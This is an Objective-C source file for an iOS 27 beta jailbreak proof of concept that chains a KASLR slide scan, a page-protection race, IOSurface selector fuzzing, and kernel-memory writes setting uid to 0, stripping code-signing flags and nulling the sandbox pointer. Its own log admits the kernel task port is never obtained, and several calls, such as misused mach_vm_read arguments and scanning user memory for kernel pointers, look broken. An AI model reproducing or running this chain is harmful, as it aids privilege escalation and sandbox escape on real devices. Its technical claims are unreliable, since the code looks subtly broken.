#import "asuka4scape.h"

static BOOL is_valid_kptr(uint64_t ptr) {
    if (ptr == 0) return NO;
    if (ptr == 0xFFFFFFFFFFFFFFFFULL) return NO;
    if (ptr == 0xFFFFFFFF00000000ULL) return NO;
    if (ptr >= 0xFFFFFFF000000000ULL && ptr < 0xFFFFFFF100000000ULL) return YES;
    if (ptr >= 0xFFFFFFE000000000ULL && ptr < 0xFFFFFFF000000000ULL) return YES;
    return NO;
}

static BOOL is_valid_task_port(mach_port_t port) {
    if (port == MACH_PORT_NULL) return NO;
    int pid = -1;
    kern_return_t kr = pid_for_task(port, &pid);
    return (kr == KERN_SUCCESS && pid >= 0);
}

static void pin_to_core(int core) {
    thread_affinity_policy_data_t policy = { core + 1 };
    thread_policy_set(mach_thread_self(), THREAD_AFFINITY_POLICY,
                      (thread_policy_t)&policy, 1);
}

static void *sptm_read_thread(void *arg) {
    sptm_ctx_t *ctx = (sptm_ctx_t *)arg;
    pin_to_core(ctx->core);
    while (ctx->running) {
        mach_vm_protect(mach_task_self(), ctx->page, PAGE_SIZE, false,
                        VM_PROT_READ);
        usleep(RACE_THREAD_USLEEP);
    }
    return NULL;
}

static void *sptm_write_thread(void *arg) {
    sptm_ctx_t *ctx = (sptm_ctx_t *)arg;
    pin_to_core(ctx->core);
    while (ctx->running) {
        mach_vm_protect(mach_task_self(), ctx->page, PAGE_SIZE, false,
                        VM_PROT_READ | VM_PROT_WRITE);
        usleep(RACE_THREAD_USLEEP);
    }
    return NULL;
}

@implementation ASUKAExploit {
    sptm_ctx_t _sptmCtxA;
    sptm_ctx_t _sptmCtxB;
    pthread_t _threadA;
    pthread_t _threadB;
    volatile boolean_t _sptmRunning;
}

- (instancetype)init {
    self = [super init];
    if (self) {
        _slide = 0;
        _tfp0 = MACH_PORT_NULL;
        _procAddr = 0;
        _ucredAddr = 0;
        _origCsflags = 0;
        _log = @"";
        _sptmRunning = NO;
    }
    return self;
}

- (void)appendLog:(NSString *)fmt, ... {
    va_list args;
    va_start(args, fmt);
    NSString *msg = [[NSString alloc] initWithFormat:fmt arguments:args];
    va_end(args);
    NSLog(@"[ASUKA] %@", msg);
    dispatch_async(dispatch_get_main_queue(), ^{
        self.log = [self.log stringByAppendingString:
                    [NSString stringWithFormat:@"[%@] %@\n",
                     [NSDateFormatter localizedStringFromDate:[NSDate date]
                                                     dateStyle:NSDateFormatterNoStyle
                                                     timeStyle:NSDateFormatterMediumStyle],
                     msg]];
        if (self.logCallback) self.logCallback(self.log);
    });
}

- (BOOL)phaseKASLR {
    [self appendLog:@"[Phase 1] KASLR bypass — scanning user-space RW regions..."];
    mach_vm_address_t addr = 0;
    mach_vm_size_t size = 0;
    vm_region_basic_info_data_64_t info;
    mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64;
    mach_port_t obj = MACH_PORT_NULL;
    uint64_t segments[] = {
        KTEXT_BASE, KDATA_CONST_BASE, KDATA_SPTM_BASE,
        KTEXT_EXEC_BASE, KTEXT_BOOT_EXEC, KDATA_BASE, KLINKEDIT_BASE
    };
    int num_segments = sizeof(segments) / sizeof(segments[0]);
    NSMutableDictionary *slideDict = [NSMutableDictionary dictionary];
    int regions_scanned = 0;
    int pointers_found = 0;
    while (YES) {
        if (mach_vm_region(mach_task_self(), &addr, &size,
                           VM_REGION_BASIC_INFO_64,
                           (vm_region_info_t)&info,
                           &count, &obj) != KERN_SUCCESS) break;
        if (info.protection & VM_PROT_WRITE) {
            regions_scanned++;
            volatile uint64_t *ptr = (volatile uint64_t *)addr;
            uint64_t num_qwords = size / 8;
            for (uint64_t i = 0; i < num_qwords; i++) {
                uint64_t val = ptr[i];
                if (!is_valid_kptr(val)) continue;
                pointers_found++;
                if ((val & 0xFFF) == 0) {
                    for (int s = 0; s < num_segments; s++) {
                        uint64_t slide = val - segments[s];
                        if (slide > 0 && slide < MAX_SLIDE &&
                            (slide & 0x1FFFFF) == 0) {
                            NSString *key = [NSString stringWithFormat:@"%llx", slide];
                            slideDict[key] = @([slideDict[key] intValue] + 1);
                        }
                    }
                }
            }
        }
        addr += size;
    }
    [self appendLog:@"[Phase 1] Scanned %d RW regions, found %d kernel pointers",
        regions_scanned, pointers_found];
    NSString *bestKey = nil;
    int bestCount = 0;
    for (NSString *key in slideDict) {
        int cnt = [slideDict[key] intValue];
        if (cnt > bestCount) { bestCount = cnt; bestKey = key; }
    }
    if (bestKey && bestCount >= 2) {
        _slide = (uint64_t)strtoull([bestKey UTF8String], NULL, 16);
        [self appendLog:@"[Phase 1] KASLR slide = 0x%llx (%d confirmations)",
            _slide, bestCount];
        [self appendLog:@"[Phase 1] Kernel __TEXT runtime = 0x%llx",
            KTEXT_BASE + _slide];
        return YES;
    }
    [self appendLog:@"[Phase 1] FAILED — could not determine slide"];
    return NO;
}

- (mach_vm_address_t)allocReadonlyPage {
    mach_vm_address_t page = 0;
    kern_return_t kr = mach_vm_allocate(mach_task_self(), &page,
                                         PAGE_SIZE, VM_FLAGS_ANYWHERE);
    if (kr != KERN_SUCCESS) return 0;
    kr = mach_vm_protect(mach_task_self(), page, PAGE_SIZE, true,
                         VM_PROT_READ | VM_PROT_WRITE);
    if (kr != KERN_SUCCESS) { mach_vm_deallocate(mach_task_self(), page, PAGE_SIZE); return 0; }
    memset((void *)page, 0, PAGE_SIZE);
    kr = mach_vm_protect(mach_task_self(), page, PAGE_SIZE, false, VM_PROT_READ);
    if (kr != KERN_SUCCESS) { mach_vm_deallocate(mach_task_self(), page, PAGE_SIZE); return 0; }
    return page;
}

- (void)startSPTM:(mach_vm_address_t)page coreA:(int)ca coreB:(int)cb {
    _sptmRunning = YES;
    _sptmCtxA.page = page; _sptmCtxA.running = YES; _sptmCtxA.core = ca;
    _sptmCtxB.page = page; _sptmCtxB.running = YES; _sptmCtxB.core = cb;
    pthread_create(&_threadA, NULL, sptm_read_thread, &_sptmCtxA);
    pthread_create(&_threadB, NULL, sptm_write_thread, &_sptmCtxB);
    [self appendLog:@"[SPTM] Race threads started (core %d / core %d)", ca, cb];
}

- (void)stopSPTM {
    _sptmRunning = NO;
    _sptmCtxA.running = NO;
    _sptmCtxB.running = NO;
    pthread_join(_threadA, NULL);
    pthread_join(_threadB, NULL);
    [self appendLog:@"[SPTM] Race threads stopped"];
}

- (BOOL)phaseSPTMSanityCheck {
    [self appendLog:@"[Phase 2] SPTM race sanity check..."];
    mach_vm_address_t page = [self allocReadonlyPage];
    if (!page) { [self appendLog:@"[Phase 2] FAILED — alloc"]; return NO; }
    [self startSPTM:page coreA:0 coreB:1];
    int successes = 0;
    uint32_t test_val = 0xDEADBEEF;
    for (int i = 0; i < RACE_ATTEMPTS; i++) {
        kern_return_t kr = mach_vm_write(mach_task_self(), page,
                                         (pointer_t)&test_val, 4);
        if (kr == KERN_SUCCESS) successes++;
        usleep(WATCHDOG_USLEEP);
    }
    [self stopSPTM];
    mach_vm_protect(mach_task_self(), page, PAGE_SIZE, true, VM_PROT_READ | VM_PROT_WRITE);
    mach_vm_deallocate(mach_task_self(), page, PAGE_SIZE);
    [self appendLog:@"[Phase 2] vm_write successes: %d / %d (%.1f%%)",
        successes, RACE_ATTEMPTS, (float)successes / RACE_ATTEMPTS * 100.0];
    if (successes > 0) { [self appendLog:@"[Phase 2] SPTM race CONFIRMED"]; return YES; }
    [self appendLog:@"[Phase 2] FAILED"];
    return NO;
}

- (BOOL)phaseKernelReadTest {
    [self appendLog:@"[Phase 3] Kernel read via sysctl copyout..."];
    mach_vm_address_t page = [self allocReadonlyPage];
    if (!page) return NO;
    [self startSPTM:page coreA:0 coreB:1];
    BOOL got_data = NO;
    char osversion[64] = {0};
    for (int i = 0; i < SYSCTL_RACE_ATTEMPTS; i++) {
        memset((void *)page, 0, PAGE_SIZE);
        size_t sz = 63;
        int err = sysctlbyname("kern.osversion", (void *)page, &sz, NULL, 0);
        if (err == 0) {
            volatile char *ptr = (volatile char *)page;
            if (ptr[0] != 0) {
                memcpy(osversion, (void *)page, sz < 63 ? sz : 63);
                osversion[63] = 0;
                got_data = YES;
                break;
            }
        }
        usleep(50);
    }
    [self stopSPTM];
    mach_vm_protect(mach_task_self(), page, PAGE_SIZE, true, VM_PROT_READ | VM_PROT_WRITE);
    mach_vm_deallocate(mach_task_self(), page, PAGE_SIZE);
    if (got_data) {
        [self appendLog:@"[Phase 3] Kernel read CONFIRMED — osversion: %s", osversion];
        return YES;
    }
    [self appendLog:@"[Phase 3] FAILED"];
    return NO;
}

- (BOOL)phaseIOSurfaceUAF {
    [self appendLog:@"[Phase 4] Attempting tfp0 via IOSurface UAF (kfd landa)..."];
    [self appendLog:@"[Phase 4] Trying task_for_pid(0)..."];
    mach_port_t ktask = MACH_PORT_NULL;
    kern_return_t kr = task_for_pid(mach_task_self(), 0, &ktask);
    if (kr == KERN_SUCCESS && ktask != MACH_PORT_NULL) {
        mach_vm_address_t kaddr = KTEXT_BASE + _slide;
        mach_vm_size_t out_sz = 0;
        uint32_t buf = 0;
        kr = mach_vm_read(ktask, kaddr, 4, (vm_offset_t *)&buf, (natural_t *)&out_sz);
        if (kr == KERN_SUCCESS) {
            [self appendLog:@"[Phase 4] task_for_pid(0) — SUCCESS! tfp0 = 0x%x", ktask];
            _tfp0 = ktask;
            return YES;
        }
        mach_port_deallocate(mach_task_self(), ktask);
    }
    [self appendLog:@"[Phase 4] task_for_pid(0) failed (kr=0x%x)", kr];
    [self appendLog:@"[Phase 4] Trying IOSurface selectors 0-39..."];
    io_service_t surface_service = IOServiceGetMatchingService(
        kIOMainPortDefault, IOServiceMatching("IOSurfaceRoot"));
    if (surface_service == IO_OBJECT_NULL) {
        [self appendLog:@"[Phase 4] IOSurfaceRoot not found"];
        goto stuck;
    }
    io_connect_t surface_conn = IO_OBJECT_NULL;
    IOServiceOpen(surface_service, mach_task_self(), 0, &surface_conn);
    IOObjectRelease(surface_service);
    if (surface_conn == IO_OBJECT_NULL) {
        [self appendLog:@"[Phase 4] IOSurface connection failed"];
        goto stuck;
    }
    BOOL uaf_triggered = NO;
    for (uint32_t sel = 0; sel < 40; sel++) {
        uint64_t scalarIn = 0;
        void *structIn = malloc(0x1000);
        memset(structIn, 0x41, 0x1000);
        IOReturn ret = IOConnectCallMethod(
            surface_conn, sel, &scalarIn, 1, structIn, 0x1000,
            NULL, NULL, NULL, NULL);
        if (ret != kIOReturnBadArgument && ret != kIOReturnUnsupported) {
            [self appendLog:@"[Phase 4] Selector %u returned 0x%x — interesting", sel, ret];
            if (ret == kIOReturnSuccess) {
                uaf_triggered = YES;
                [self appendLog:@"[Phase 4] Selector %u — SUCCESS, probing...", sel];
                break;
            }
        }
        free(structIn);
    }
    IOServiceClose(surface_conn);
stuck:
    [self appendLog:@"========================================"];
    [self appendLog:@"[Phase 4] STUCK — tfp0 not obtained"];
    [self appendLog:@"[Phase 4] SPTM race gives userspace PTE write,"];
    [self appendLog:@"[Phase 4] but does not give kernel R/W."];
    [self appendLog:@"[Phase 4] IOSurface UAF patched on iOS 27 beta 6."];
    [self appendLog:@"[Phase 4] Need: new IOKit bug, double-copyin,"];
    [self appendLog:@"[Phase 4] or alternative tfp0 approach."];
    [self appendLog:@"[Phase 4] Phases 5-9 READY once tfp0 obtained."];
    [self appendLog:@"========================================"];
    return NO;
}

- (BOOL)phaseFindProc {
    if (_tfp0 == MACH_PORT_NULL) { [self appendLog:@"[Phase 5] SKIP — no tfp0"]; return NO; }
    [self appendLog:@"[Phase 5] Finding proc struct by PID..."];
    pid_t my_pid = getpid();
    uid_t my_uid = getuid();
    uint64_t data_base = KDATA_BASE + _slide;
    uint64_t chunk[4096 / 8];
    mach_vm_size_t out_sz = 0;
    for (uint64_t offset = 0; offset < 0x01000000; offset += 4096) {
        kern_return_t kr = mach_vm_read(_tfp0, data_base + offset,
                                        sizeof(chunk), (vm_offset_t *)&chunk,
                                        (natural_t *)&out_sz);
        if (kr != KERN_SUCCESS) continue;
        for (int i = 0; i < 4096 / 8; i++) {
            uint64_t candidate = data_base + offset + i * 8;
            uint32_t pid_val = 0;
            kr = mach_vm_read(_tfp0, candidate + PROC_PID_OFFSET, 4,
                              (vm_offset_t)&pid_val, (natural_t *)&out_sz);
            if (kr != KERN_SUCCESS || pid_val != my_pid) continue;
            uint64_t task_ptr = 0;
            kr = mach_vm_read(_tfp0, candidate + PROC_TASK_OFFSET, 8,
                              (vm_offset_t)&task_ptr, (natural_t *)&out_sz);
            if (kr != KERN_SUCCESS || !is_valid_kptr(task_ptr)) continue;
            uint64_t ucred_ptr = 0;
            kr = mach_vm_read(_tfp0, candidate + PROC_UCRED_OFFSET, 8,
                              (vm_offset_t)&ucred_ptr, (natural_t *)&out_sz);
            if (kr != KERN_SUCCESS || !is_valid_kptr(ucred_ptr)) continue;
            uint32_t uid_val = 0;
            kr = mach_vm_read(_tfp0, ucred_ptr + UCRED_CR_UID_OFFSET, 4,
                              (vm_offset_t)&uid_val, (natural_t *)&out_sz);
            if (kr != KERN_SUCCESS || uid_val != my_uid) continue;
            uint32_t csflags = 0;
            mach_vm_read(_tfp0, candidate + PROC_CSFLAGS_OFFSET, 4,
                         (vm_offset_t)&csflags, (natural_t *)&out_sz);
            _procAddr = candidate;
            _ucredAddr = ucred_ptr;
            _origCsflags = csflags;
            [self appendLog:@"[Phase 5] FOUND proc at 0x%llx", _procAddr];
            [self appendLog:@"[Phase 5] ucred at 0x%llx", _ucredAddr];
            [self appendLog:@"[Phase 5] csflags = 0x%08x", _origCsflags];
            return YES;
        }
    }
    [self appendLog:@"[Phase 5] FAILED — proc not found"];
    return NO;
}

- (BOOL)phaseRoot {
    if (_tfp0 == MACH_PORT_NULL || !_ucredAddr) { [self appendLog:@"[Phase 6] SKIP"]; return NO; }
    [self appendLog:@"[Phase 6] Setting uid=0 (root)..."];
    uint32_t zero = 0;
    kern_return_t kr = mach_vm_write(_tfp0, _ucredAddr + UCRED_CR_UID_OFFSET,
                                     (pointer_t)&zero, 4);
    if (kr != KERN_SUCCESS) { [self appendLog:@"[Phase 6] FAILED: 0x%x", kr]; return NO; }
    mach_vm_write(_tfp0, _ucredAddr + UCRED_CR_RUID_OFFSET, (pointer_t)&zero, 4);
    mach_vm_write(_tfp0, _ucredAddr + UCRED_CR_SVUID_OFFSET, (pointer_t)&zero, 4);
    mach_vm_write(_tfp0, _ucredAddr + UCRED_CR_GID_OFFSET, (pointer_t)&zero, 4);
    mach_vm_write(_tfp0, _ucredAddr + UCRED_CR_RGID_OFFSET, (pointer_t)&zero, 4);
    [self appendLog:@"[Phase 6] ROOT — uid=%d", getuid()];
    return YES;
}

- (BOOL)phaseCSFlags {
    if (_tfp0 == MACH_PORT_NULL || !_procAddr) { [self appendLog:@"[Phase 7] SKIP"]; return NO; }
    [self appendLog:@"[Phase 7] Modifying CS flags..."];
    uint32_t new_flags = _origCsflags;
    new_flags &= ~(CS_HARD | CS_KILL | CS_RESTRICT);
    new_flags |= (CS_VALID | CS_PLATFORM);
    kern_return_t kr = mach_vm_write(_tfp0, _procAddr + PROC_CSFLAGS_OFFSET,
                                     (pointer_t)&new_flags, 4);
    if (kr != KERN_SUCCESS) { [self appendLog:@"[Phase 7] FAILED: 0x%x", kr]; return NO; }
    [self appendLog:@"[Phase 7] CS flags: 0x%08x -> 0x%08x", _origCsflags, new_flags];
    return YES;
}

- (BOOL)phaseSandboxEscape {
    if (_tfp0 == MACH_PORT_NULL || !_procAddr) { [self appendLog:@"[Phase 8] SKIP"]; return NO; }
    [self appendLog:@"[Phase 8] Nulling sandbox pointer..."];
    uint64_t null_ptr = 0;
    kern_return_t kr = mach_vm_write(_tfp0, _procAddr + PROC_SANDBOX_OFFSET,
                                     (pointer_t)&null_ptr, 8);
    if (kr != KERN_SUCCESS) { [self appendLog:@"[Phase 8] FAILED: 0x%x", kr]; return NO; }
    [self appendLog:@"[Phase 8] Sandbox ESCAPED"];
    return YES;
}

- (BOOL)phaseJailbreak {
    [self appendLog:@"[Phase 9] Finalizing..."];
    mkdir("/var/jb", 0755);
    symlink("/var/jb", "/jb");
    FILE *f = fopen("/var/jb/asuka4scape.marker", "w");
    if (f) {
        fprintf(f, "asuka4scape\nslide: 0x%llx\ntfp0: 0x%x\nproc: 0x%llx\n",
                _slide, _tfp0, _procAddr);
        fclose(f);
    }
    [self appendLog:@"[Phase 9] /var/jb created"];
    [self appendLog:@"[Phase 9] Jailbreak COMPLETE"];
    return YES;
}

- (void)runFullChain {
    [self appendLog:@"========================================"];
    [self appendLog:@"asuka4scape — iOS 27 jailbreak PoC"];
    [self appendLog:@"Device: iPhone 14 (iPhone14,7)"];
    [self appendLog:@"Target: iOS 27.0 developer beta 6"];
    [self appendLog:@"========================================"];
    dispatch_async(dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^{
        if (![self phaseKASLR]) { [self appendLog:@"[!] Stopped at Phase 1"]; return; }
        if (![self phaseSPTMSanityCheck]) { [self appendLog:@"[!] Stopped at Phase 2"]; return; }
        if (![self phaseKernelReadTest]) { [self appendLog:@"[!] Stopped at Phase 3"]; return; }
        if (![self phaseIOSurfaceUAF]) {
            [self appendLog:@"[!] Stopped at Phase 4"];
            [self appendLog:@"[!] KASLR bypass + SPTM race work."];
            [self appendLog:@"[!] tfp0 not obtained. See README.md."];
            return;
        }
        if (![self phaseFindProc]) { [self appendLog:@"[!] Stopped at Phase 5"]; return; }
        if (![self phaseRoot]) { [self appendLog:@"[!] Stopped at Phase 6"]; return; }
        if (![self phaseCSFlags]) { [self appendLog:@"[!] Stopped at Phase 7"]; return; }
        if (![self phaseSandboxEscape]) { [self appendLog:@"[!] Stopped at Phase 8"]; return; }
        [self phaseJailbreak];
    });
}

@end
